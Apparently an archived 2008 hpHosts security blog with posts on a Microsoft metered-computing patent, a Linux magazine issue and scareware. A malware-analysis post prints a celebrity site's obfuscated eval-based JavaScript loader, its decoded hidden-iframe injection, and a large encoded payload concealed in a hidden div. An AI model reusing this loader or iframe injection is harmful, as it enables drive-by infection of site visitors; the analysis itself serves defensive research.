Blog for hpHosts, and whatever else I feel like writing about ....

Tuesday 30 December 2008

Have Microsoft lost the plot?

... it would appear so.

Although I tend to try and defend most of Microsoft's actions where warranted, I find myself leaning further and further toward recommending everyone ditch Microsoft related software and services, especially when they decide to start making extremely stupid decisions such as this.

Unless I've completely misunderstood, this patent essentially see's Microsoft wanting to CHARGE YOU for the privilege of using YOUR COMPUTER, as if the damn things don't cost enough already. Especially given you've already had to pay Microsoft for the damn operating system (unless you're using Linux, in which case this likely shouldn't matter to you).

I've not gone through the entire patent application yet, so do not know all of the details, but the details I do know scare me. We NEED to stop this. We need to send a message that makes it clear that they cannot be allowed to get away with actions such as this. How do we do this? I've no idea, but firing the patent office an e-mail would be a pretty damn good start.

December 29, 2008 (Computerworld) Microsoft Corp. last week applied for a patent that spells out a "pay as you go" concept under which users would be charged for both the software they run and the computing horsepower they use.

According to the patent application filed last week with the U.S. Patent and Trademark Office, the "Metered Pay-As-You-Go Computing Experience" scheme would meter software use and access to specific computer hardware. Fees would be charged against a prepaid or billed account.


Read the full story:
http://www.computerworld.com/action/article.do?command=viewArticleBasic&articleId=9124459&intsrc=hm_list

Kudos to darth over at the Avant Browser forums for the heads up

Image used in this post came from a post on the Nick Dupree blog

Monday 29 December 2008

Full Circle Magazine: We’ve made it to twenty!



This month, we’ve got some nice stuff as well as a new series in store for you:

* Command and Conquer - The Daunting Terminal.
* How-To : Program in C - Part 4, Web Development - Part 1, Backup & Sync Your Music.
* My Story - Making Money With FOSS
* Book Review - Ubuntu Kung Fu
* My Opinion - Italy Speaks OSS
* MOTU Interview - Andrea Colangelo
* Top 5 - Backup Solutions

Read More
http://fullcirclemagazine.org/2008/12/29/weve-made-it-to-twenty/

Get it while it's hot!
http://fullcirclemagazine.org/issue-20/

Issues 0 - Current
http://fullcirclemagazine.org/downloads/

Forums:
http://ubuntuforums.org/forumdisplay.php?f=270

Wiki:
http://wiki.ubuntu.com/UbuntuMagazine

Wanted: Web-Wide Cops

The Internet needs to be globally regulated if it is to have any chance of stopping scams such as security 'scareware', a researcher has suggested.

According to Mary Landesman of ScanSafe, the recent Federal Trade Commission (FTC) injunctions against two companies accused of distributing fake anti-virus programs is a step in the right direction but against a backdrop of widespread abuse.


Read the full story
http://www.pcworld.com/article/156067/regulate_internet.html

Friday 26 December 2008

Follow up: sexy-celeb-photos.com

As a follow up to my previous post, it looks like this site isn't allowing more than one connection from the same IP. Subsequent connections result in a fake 404 (fake because it's response code is 200, yet the page returned is a 404). Unfortunately, this also means the vURL Online links will likely only show the 404's.

The original thread on this site, can be found at;

http://www.who-is-who-in-gpt.com/forum/index.php?showtopic=9484

sexy-celeb-photos.com serving up ActiveX exploits

I had sexy-celeb-photos.com (207.58.145.101 - vps.whitepaw.com) reported to myself by a friend, and decided to check it out. Needless to say, the results were interesting.

When you first load the sites code, you are greeted with the following script;

try { function pfcDFUbcLMGjy(lkRyLDY){var NTaWjL="",GOmCZx,ZAyHKrUJjS,HsxXD,ANxzTlOD,lTGZkYVpx,kLqfioTGFW,OWDIoXPrf,DjFVfMbCP,NbdSIPk;var lBYPwaefXA="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";var jZeygT="";for(DjFVfMbCP=0;DjFVfMbCP<lkRyLDY.length;){ANxzTlOD=lBYPwaefXA.indexOf(lkRyLDY.charAt(DjFVfMbCP++));lTGZkYVpx=lBYPwaefXA.indexOf(lkRyLDY.charAt(DjFVfMbCP++));NbdSIPk=pfcDFUbcLMGjy;kLqfioTGFW=lBYPwaefXA.indexOf(lkRyLDY.charAt(DjFVfMbCP++));OWDIoXPrf=lBYPwaefXA.indexOf(lkRyLDY.charAt(DjFVfMbCP++));GOmCZx=(ANxzTlOD<<2)+(lTGZkYVpx>>4);ZAyHKrUJjS=((lTGZkYVpx&15)<<4)+(kLqfioTGFW>>2);HsxXD=((kLqfioTGFW&3)<<6)+OWDIoXPrf;NbdSIPk=NbdSIPk.toString();NTaWjL+=String.fromCharCode(GOmCZx);if(kLqfioTGFW!=64)NTaWjL+=String.fromCharCode(ZAyHKrUJjS);if(OWDIoXPrf!=64)NTaWjL+=String.fromCharCode(HsxXD);}NbdSIPk=NbdSIPk.replace(/\W/g,"");NbdSIPk=NbdSIPk.split("").reverse().join("");for(DjFVfMbCP=0;DjFVfMbCP<NTaWjL.length;DjFVfMbCP++)jZeygT+=String.fromCharCode(NTaWjL.charCodeAt(DjFVfMbCP%NTaWjL.length)^NbdSIPk.charCodeAt(DjFVfMbCP%NbdSIPk.length));return eval(jZeygT);}pfcDFUbcLMGjy("dEdZRXpKTEFWRU5SVX1sBAkGRwcDHgo9LHNZQio/IBcgAzgyRCcGJAQQCgYeBAUGBSRhcQ0EPAkZAkxMV0ZjXggyPDEuB2MRPyIeLFR8RUZeYUlrYWolDCUAOStLDAoqFQkcY1BPUFdFVWN7fToyFRgIP0QjMQFtW3ZkAjAcBF1BShs7HXkSMTYpbgEoCjMkRzRYPzcNPkg1KQdrGwIHCQwcWEoaHAETHVwEARxSSGFZQDcLATsGNScnSgAhAy5LAhEcFQsWKDggPwBKJw0iKD4BS3U=");} catch(e){}


Decoded this looks like;

var iframe = document.createElement("iframe");
iframe.width = "1";
iframe.height = "1";
iframe.src = "http://www.sexy-celeb-photos.com/images2/index.php";
document.body.appendChild(iframe);


If we then load images2/index.php, we see yet another script. This time alot more interesting than the last (Ref: http://vurl.mysteryfcm.co.uk/?url=151020).

This one contains the script itself, but has the bulk of the code, encoded and shoved in a div (HTML element). This has become quite popular with the bad guys, and is likely due to the misconception that it makes it harder to decode - it doesn't.

<html><body><script>
</script><div id="content"style="display:none;">mv4ERBjERBjERBjERBjERBjERBjERBjERBKt9iAEViAaIjjK6kAIaKDPoYsts7iff8iPc1zaWiTPbFva6avIs7vaea7KedvfWCGevova9k@PbFzIUDC8CBjERBjERBjERBjERBjERBjERBjERBjERzirZQ7aI@TfoQ7uZiirrF7DKwrcRBjERBjERBjERBjERBjERBjERBjERBjEhd@IRw@fIBPvmv4ERBjERBjERBjERBjERBjERBjERBjERBKfVGvr68vasQjKWFADs1iayjiKSkAKEDi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEhd@IRpTKU8ztwZPLbnaewpCyhjYvrnIunkmbQYDvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERzirZQjKWFisS8vfEksIs7it8CAtZFKaVZ@LbUGbynCDKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBDtL8zaWFKaVZ@sbUGbEDi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKaVZTss1iaG@as6DC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjKWFisS8vfEksIs7it8CAtZFKaVZ@LbUGbynCDDUTffPC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEIZrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKt9iAEo8zf6FTsLjiKSkAK@jiKSkAKaBCDKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBDtL8zaWFjKWFGPy1@aUkAKtjiKSkAKEUTffZPLbjDDL1z@KwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKIWkitZGzEL1z@KwrcRBjERBjERBjERBjERBjERBjERBjERBjEIZrcRBjERBjERBjERBjERBjERBjERBjERBjEF1GackiKvGzE9kzfZF7rSk@IEDi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEZ1ztViGaRgGaWCsr9QifLj7LVYDDL1z@LnzfSiGLbUGbQAIbypCDDj7LVYDDL1z@LU7rSk@IG@CehcKLbUGbQAIbypCDEDC8CBjERBjERBjERBjERBjERBjERBjERBjERwi8CBjERBjERBjERBjERBjERBjERBjERBjERzTtsCztEa@aRgGaWCADwkGIEDi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEhd@IRpiabZPLUDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEFa@ILzirZQ7KIBPvEhPI6iGPy1@aUkAKKcvDIpCDKZrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERpiabP7s9kzfZFjDwkGIs7zK9isuvkTf3kADEPDeEoYsZpCDDwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERUDI6iGPcFTrZCeaS1Tu6F7KDTCDtoCehcDDmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEL7AtZGDrLd@InazfWdxtLcvDucjstUCDDwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjER7AtZGDrLd@InazfWdxtLcTDEDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEIZrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKIWkitZGzEVGTfwCTrb1zD6ZzIEDC8CBjERBjERBjERBjERBjERBjERBjERBjERwi8CBjERBjERBjERBjERBjERBjERBjERBjERzTtsCztEa@aRUTrhF7DKZrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERB7aIwvvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjER7if6kXKe1vaVkADUUTrhF7DUo7ebBYeEDC8CBjERBjERBjERBjERBjERBjERBjERBjERwi8CBjERBjERBjERBjERBjERBjERBjERBjERzTtsCztEa@aRjvIwFDIwhDIwCiDKZrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBDtL8zaWFDIwGjaWGvf6F@DZoPIwCiDwCsDI7sIKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBDIwZPIwGDIVivI6iiKsYzDboDIwCsPZcDvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERTif61GIsQDIwPC8CBjERBjERBjERBjERBjERBjERBjERBjERwi8CBjERBjERBjERBjERBjERBjERBjERBjERzTtsCztEa@aRwvILcD@mv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERzirZQjIyCTsVGTfwCTrb1zDUg7toUCyn17tw7Pe6g7toUCyn17tw7Pe6g7toUCyn17tw7Pe6g7toUCyn17tw7Pe6g7toUCyn17tw7Pe6g7toUCyn17tw7Pe6g7toUCyn17t6TYyVg7toUCyn17t6zPebg7toUCyn17t6TPeVg7toUCyn17tw7Pewg7toUCyn17twcYywg7toUCyn17twzPehg7toUCyn17twcYyZg7toUCyn17twBPefg7toUCyn17twnPebg7toUCyn17twBPefg7toUCyn17tw7Pewg7toUCyn17t6zYyVg7toUCyn17tw7Pe6g7toUCyn17twTYyVg7toUCyn17t6nYyhg7toUCyn17t6TYyVg7toUCyn17twgPebg7toUCyn17twUYyVg7toUCyn17t67YyVg7toUCyn17t6zYyhg7toUCyn17t6zYyhg7toUCyn17t6zYyhg7toUCyn17t6zPeog7toUCyn17t6TPefg7toUCyn17t6gPe6g7toUCyn17t6zYy6g7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17twpPehg7toUCyn17t6zYyug7toUCyn17tw7YyVg7toUCyn17twpPehg7toUCyn17t6zPerg7toUCyn17tw7Yyhg7toUCyn17twTPe6g7toUCyn17twpPehg7toUCyn17t6zPerg7toUCyn17twjYyVg7toUCyn17t6gPehg7toUCyn17tw7Pebg7toUCyn17t6zYyVg7toUCyn17t6TYyVg7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17twpPehg7toUCyn17tw7Pebg7toUCyn17twcYyZg7toUCyn17twjPefg7toUCyn17twnPehg7toUCyn17twnYyug7toUCyn17twnYyVg7toUCyn17tw7Pebg7toUCyn17twjPebg7toUCyn17twnPeug7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17twzPehg7toUCyn17t6nYyug7toUCyn17t6TYyVg7toUCyn17twcYyZg7toUCyn17twjPefg7toUCyn17twjPeog7toUCyn17twnPeug7toUCyn17twgPehg7toUCyn17twnYyVg7toUCyn17twjPebg7toUCyn17t6zPeug7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17twzPehg7toUCyn17t6nYyug7toUCyn17twjYyVg7toUCyn17twcYyZg7toUCyn17twjPefg7toUCyn17t6nYywg7toUCyn17t6zPeVg7toUCyn17twBPeug7toUCyn17t6pPeZg7toUCyn17twjPebg7toUCyn17t6pPebg7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17twzPehg7toUCyn17t6nYyug7toUCyn17tw7YyVg7toUCyn17twcYyZg7toUCyn17twjPefg7toUCyn17twBPebg7toUCyn17twnPeZg7toUCyn17t6zPebg7toUCyn17t6zPefg7toUCyn17twjPebg7toUCyn17t6TPewg7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17twzPehg7toUCyn17t6nYyug7toUCyn17t6zYyhg7toUCyn17twcYyZg7toUCyn17twjPefg7toUCyn17t6gPeZg7toUCyn17twzPerg7toUCyn17t6nPebg7toUCyn17twjPeVg7toUCyn17twjPebg7toUCyn17twcPeZg7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17twzPehg7toUCyn17t6nYyug7toUCyn17t6TYyhg7toUCyn17t6zYyug7toUCyn17t6zPehg7toUCyn17twjYy6g7toUCyn17t67PeZg7toUCyn17t6nPerg7toUCyn17twgPeug7toUCyn17twzPehg7toUCyn17t6nYyug7toUCyn17twjYyhg7toUCyn17twzPebg7toUCyn17twUYyVg7toUCyn17t6gYyVg7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17twnYyZg7toUCyn17twzPehg7toUCyn17t6nPerg7toUCyn17t6TYywg7toUCyn17twpPehg7toUCyn17t6nYyug7toUCyn17t6TYyVg7toUCyn17twgPefg7toUCyn17t6gYyVg7toUCyn17twzYyZg7toUCyn17twpPehg7toUCyn17t6nYyZg7toUCyn17twjYyhg7toUCyn17twcYyZg7toUCyn17twjPebg7toUCyn17twpPehg7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17t6zYyZg7toUCyn17twjPefg7toUCyn17twcYy6g7toUCyn17twgYyhg7toUCyn17twBYywg7toUCyn17t6zPerg7toUCyn17twjPebg7toUCyn17twUPeog7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17twzPehg7toUCyn17t6nYyug7toUCyn17tw7Yyhg7toUCyn17twpPehg7toUCyn17t6nPeZg7toUCyn17t67Pehg7toUCyn17t6zPeZg7toUCyn17t6zYyZg7toUCyn17twzPehg7toUCyn17t6nYyug7toUCyn17t6zYywg7toUCyn17twjPefg7toUCyn17twBPeug7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17t6zYyZg7toUCyn17twpPehg7toUCyn17t6nYyug7toUCyn17t6TYyhg7toUCyn17twgPefg7toUCyn17t6pYyVg7toUCyn17twzYyZg7toUCyn17twpPehg7toUCyn17t6nYyZg7toUCyn17twjYyhg7toUCyn17twjPebg7toUCyn17t6gPefg7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17t67YyVg7toUCyn17t6nYyug7toUCyn17t6zYywg7toUCyn17twUPeZg7toUCyn17t6zYyVg7toUCyn17tw7YyZg7toUCyn17twnPerg7toUCyn17twnYywg7toUCyn17t6nPefg7toUCyn17twUPeZg7toUCyn17t6zYyug7toUCyn17t6TYyVg7toUCyn17twjPerg7toUCyn17t6nPefg7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17twBPeug7toUCyn17t6nPerg7toUCyn17t6zYywg7toUCyn17twpPehg7toUCyn17t6nYyug7toUCyn17tw7YyVg7toUCyn17twgPefg7toUCyn17t6gYyVg7toUCyn17twzYyZg7toUCyn17twpPehg7toUCyn17t6nYyZg7toUCyn17twjYyhg7toUCyn17twjPebg7toUCyn17t6zYyug7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17twgPefg7toUCyn17twUYyVg7toUCyn17twjYyZg7toUCyn17t67YyVg7toUCyn17t6nYyug7toUCyn17t6TYywg7toUCyn17t67Yy6g7toUCyn17twpPewg7toUCyn17t67YyZg7toUCyn17t67YyZg7toUCyn17twBPeug7toUCyn17t6nPerg7toUCyn17t6zYywg7toUCyn17t6zYyZg7toUCyn17t67YyZg7toUCyn17twpPehg7toUCyn17t6nYyug7toUCyn17tw7Yyhg7toUCyn17twgPefg7toUCyn17t6nYyVg7toUCyn17twzYyZg7toUCyn17twpPehg7toUCyn17t6nYyZg7toUCyn17twjYyhg7toUCyn17twjPebg7toUCyn17t67Yywg7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17twgPefg7toUCyn17t6zYyVg7toUCyn17twBPeug7toUCyn17t6nPerg7toUCyn17t6zYywg7toUCyn17twpPehg7toUCyn17t6nYyug7toUCyn17twjYyVg7toUCyn17twgPefg7toUCyn17t6pYyVg7toUCyn17twzYyZg7toUCyn17twpPehg7toUCyn17t6nYyZg7toUCyn17twjYyhg7toUCyn17twjPebg7toUCyn17t6zYyhg7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17twgPefg7toUCyn17twBPeug7toUCyn17twpPehg7toUCyn17t6nYyug7toUCyn17t6zYyhg7toUCyn17twgPefg7toUCyn17t6gYyVg7toUCyn17twzYyZg7toUCyn17twpPehg7toUCyn17t6nYyZg7toUCyn17twjYyhg7toUCyn17twjPebg7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17t6zYyVg7toUCyn17t6gYyug7toUCyn17twpYyZg7toUCyn17t6pYyZg7toUCyn17t67YyVg7toUCyn17t6gPebg7toUCyn17t67YyVg7toUCyn17t6gPebg7toUCyn17t67YyVg7toUCyn17t6gPebg7toUCyn17t67YyVg7toUCyn17t6gPebg7toUCyn17t67Pehg7toUCyn17tw7Pebg7toUCyn17t6TYyVg7toUCyn17twgYyZg7toUCyn17t67YyZg7toUCyn17twpPehg7toUCyn17twgPewg7toUCyn17t6pPebg7toUCyn17twUPeug7toUCyn17t6pYyZg7toUCyn17twBPeug7toUCyn17t6zPebg7toUCyn17t6nYyZg7toUCyn17twpPehg7toUCyn17tw7Pebg7toUCyn17twpPehg7toUCyn17twTPerg7toUCyn17twjYyVg7toUCyn17twpPehg7toUCyn17twTYyZg7toUCyn17tw7YyVg7toUCyn17twcYyZg7toUCyn17twpPehg7toUCyn17t67Perg7toUCyn17tw7Yy6g7toUCyn17twpPehg7toUCyn17t6TPerg7toUCyn17twnYyhg7toUCyn17twjPerg7toUCyn17t67YyVg7toUCyn17t67Peug7toUCyn17twcYyZg7toUCyn17twpPehg7toUCyn17twcPerg7toUCyn17t6zYywg7toUCyn17t67YyVg7toUCyn17t67Peug7toUCyn17t67Yy6g7toUCyn17twzPeZg7toUCyn17twzYyug7toUCyn17t6gYyug7toUCyn17twTPe6g7toUCyn17t67YyVg7toUCyn17t67PeZg7toUCyn17twcYyZg7toUCyn17t67Yy6g7toUCyn17twcPeug7toUCyn17twBYyVg7toUCyn17twnPeVg7toUCyn17t6zYyhg7toUCyn17twgYy6g7toUCyn17t6pPeug7toUCyn17t6TPerg7toUCyn17twjYyVg7toUCyn17t6gPeZg7toUCyn17twnPeZg7toUCyn17twTYyVg7toUCyn17t67YyVg7toUCyn17t6pPeug7toUCyn17t6zYyug7toUCyn17twpPebg7toUCyn17t6gPeug7toUCyn17twpYy6g7toUCyn17twnPeug7toUCyn17twnYyZg7toUCyn17t6nPerg7toUCyn17t6nPebg7toUCyn17twgYyZg7toUCyn17twpPehg7toUCyn17twpPebg7toUCyn17twpPehg7toUCyn17twgYyZg7toUCyn17t6TYywg7toUCyn17t67YyVg7toUCyn17twTPewg7toUCyn17twcPefg7toUCyn17twpPehg7toUCyn17tw7YyVg7toUCyn17twpYyug7toUCyn17twpPehg7toUCyn17twgYyZg7toUCyn17tw7Yyhg7toUCyn17t67YyVg7toUCyn17twTPewg7toUCyn17twpPehg7toUCyn17t6TYyVg7toUCyn17twpPehg7toUCyn17t67YyVg7toUCyn17t6nPeZg7toUCyn17twnYyZg7toUCyn17twTYyZg7toUCyn17t6pPeZg7toUCyn17twjYyVg7toUCyn17t6zYyVg7toUCyn17twjPebg7toUCyn17t6TPeug7toUCyn17twnPeug7toUCyn17twBPeug7toUCyn17twBPeug7toUCyn17t6nYyZg7toUCyn17t6pYyZg7toUCyn17tw7Yyug7toUCyn17twTYyug7toUCyn17twBYyug7toUCyn17twnYyug7toUCyn17t6zYyVg7topayfg7toBPy6g7tZzee317tojaeQ17tojPyog7to7aeH17toUayVg7tZpeyrg7thgaywg7thgayn17tZpIyZg7thUPybg7topayQ17to7ayQ17th7aeH17thpIyQ17thcaeQ17thnay217thgayog7twTPywg7th7IeQ17thnayQ17tZgIy6g7thUPybg7tbBPybj7DKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBDuvhzaWCztBd@I8dvfWF7DKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERB7KFQjDeATDZ1ztViGaLBCDKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERB7aFZCeKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKt9iAELCAt9ZYefQPrb7zecQPryU@rwZYefdYebBYebojIyZYIyC@Py1@aUkAKPTYPwCsIIU@rwZjDbhvDbUsefcDvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERzirZQDIwZPfwCAD9kzfZFjKwkirEoDIwCiDyU@rIUjKwkireU@rw8DPLivIKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKfviADEZYeKczsLivvEPDDEwvoEZXswCsDbhvrKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjK9AADEDC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEZ1ztViGaLnCDKwrcRBjERBjERBjERBjERBjERBjERBjERBjEIZrcRBjERBjERBjERBjERBjERBjERBjERBjEF1GackiKvGzEca@rPFDa8sTDKZrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKt9iAEZ1ztI@Ttyhvvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERc@fLK@rPGDIVivI6iiKsYzDbo7eEwCsUDsLEDi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjtZ8s@mv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKt9iAEchvIEkTsvi@Ks7it8CAtZ8@aUF7eyK@rPGjaWGvf6FTPucDvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKIWkisSavrVZTfskGPciif9kifHhTfe1@a6FDLvi@KWCztUcDvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKIWkGPw1zt3kAtZ8@rVkifLjDrydvIw8zfUoDLchvIEk@vUDDryCiKS8Dvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKIWkitZGzEZ1ztKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERwsr9ksrLF7fEDi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERTif61GIsQKaVhzaKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERwi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEI1zaw1v@mv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjE6ii@KZrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEZ1ztI@TfoQ7uckiKh1zoTi@KWCztLK@rP8Dvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKIWkitZGzEZ1ztKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERwsr9ksrLF7fEDi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERTif61GIsQKaVhzaKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERwi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEIZrcRBjERBjERBjERBjERBjERBjERBjERBjEIZrcRBjERBjERBjERBjERBjERBjERBjERBjEF1GackiKvGzEniif9kifTFDay@TDKZrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKt9iAEZZaaVhzaKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjtZ8s@ZZPas7IIWdztWaIrP1vr6FKaEwsr9ksrLF7fEDiGmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERc@fLnKIEDAtZ8s@ZZPas7IIWdztWaIrP1vr6FKayjDLEwsr9ksrLF7fEDiGIZrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERB7KFF7EZ8D@6ii@KiisvGDuZ1Tr61vZ8sTfckADshDLUoDLUc7GcdztcFzDW8D@IZi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEEAzD9TiDKkGIrPGIIK@PB1ztTi@KWCztLjDLy@TDICTr6CzKLgTDKZiGmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERc@fLnKIEDAtZ8s@ZZPasjmf6aIrP1vr6FKayjDLEwsr9ksrLF7fEDiGIZrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERB7KFF7EZ8D@6ii@KiisvGDbWksZ8sTfckADs87GcdztcFzDW8D@IZi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEZ1ztViGaLTiDKwrcRBjERBjERBjERBjERBjERBjERBjERBjEIZrcRBjERBjERBjERBjERBjERBjERBjERBjEF1GackiKvGzEBazD98D@mv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERzirZQ7fViAaIgGIyPC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEhd@IRz@a9ZTfIjDtEG@@okCZlCmZakYasgz@WYDvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERzirZQKfwaTsniif9kifTF7ryjDVciiKbkiKsY@PQ8zaWCX@wkifeaIrP1vr6Y7Dmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERzirZQDI9Qisniif9kifTF7ryjDVL1zayG7ubQAaECTr68vasY7DKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKt9iAEfZPuZ1Tr61vZLnzPUnxbTkIus7MtZ1TreY7DKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKt9iAEshTss1AayPC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEFGTre1TsFCsasTmtEhzfqdztLFKfwa@PB1ztgQifc8TryAeaykTfZFKeEoKfsdTaW8Dvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERUGPmazfWZPeKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjtZ8s@shTsniif9kifTF7ryj7ZEC@IUDDLvCsaFkGP5ZxZJYDDUpM6qY7DK@zasKzIWGzDUjmb0YjPW1GIyhKf9hvIW8DvIZrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBDr9ksrLF7fEDAtZ8s@shTsniif9kifTF7ryj7ZgFXZXiaP5ZxZJkM6qY7DK@zasKzIWGzDUjmb0YjPW1GIyhKf9hvIW8DvIZrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBDr9ksrLF7fEDAtZ8s@shTsniif9kifTF7ryj7ZgFXZXiaPg1@Ih1@I5ZxZJkM6qY7DK@zasKzIWGzDUjmb0YjPW1GIyhKf9hvIW8DvIZrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBDr9ksrLF7fEDAtZ8s@shTss1vtRUXZXFxt6QGVWditWCAtLcDvsh@PvQifsFDLB1x6Uo7fViAayzTryCifEDCGmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjER7Tr6CzKLgTDKiif61GIsQjeKwiGIZi8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEfGj6rQifInPvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjER@zas7ifskzDs1Aay8Dvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERTGrI@zasTifwQsasCifdazfrPC8CBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjEfGDZb1@aLcDvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERUGPpiiK61zDZiTDKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBj@s7Xrh1z6vATKy1zDFGTre1zPZcDvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjER7irbGDVL1zay1x@WCTt61zDFGTre1TDKwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBKIWkitZGzEuDC8CBjERBjERBjERBjERBjERBjERBjERBjERwi8CBjERBjERBjERBjERBjERBjERBjERBjERzTtsCztEa@aRwzf9CzDEBD@mv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERzirZQ7KIBPvmv4ERBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERzirZQjt9isfWkiss1vtRnIIZdT@LwrcRBjERBjERBjERBjERBjERBjERBjERBjERBjERBjERBDLdkmvh7myVzCPhgCuww7eupxeecYvwnmPbBPubpab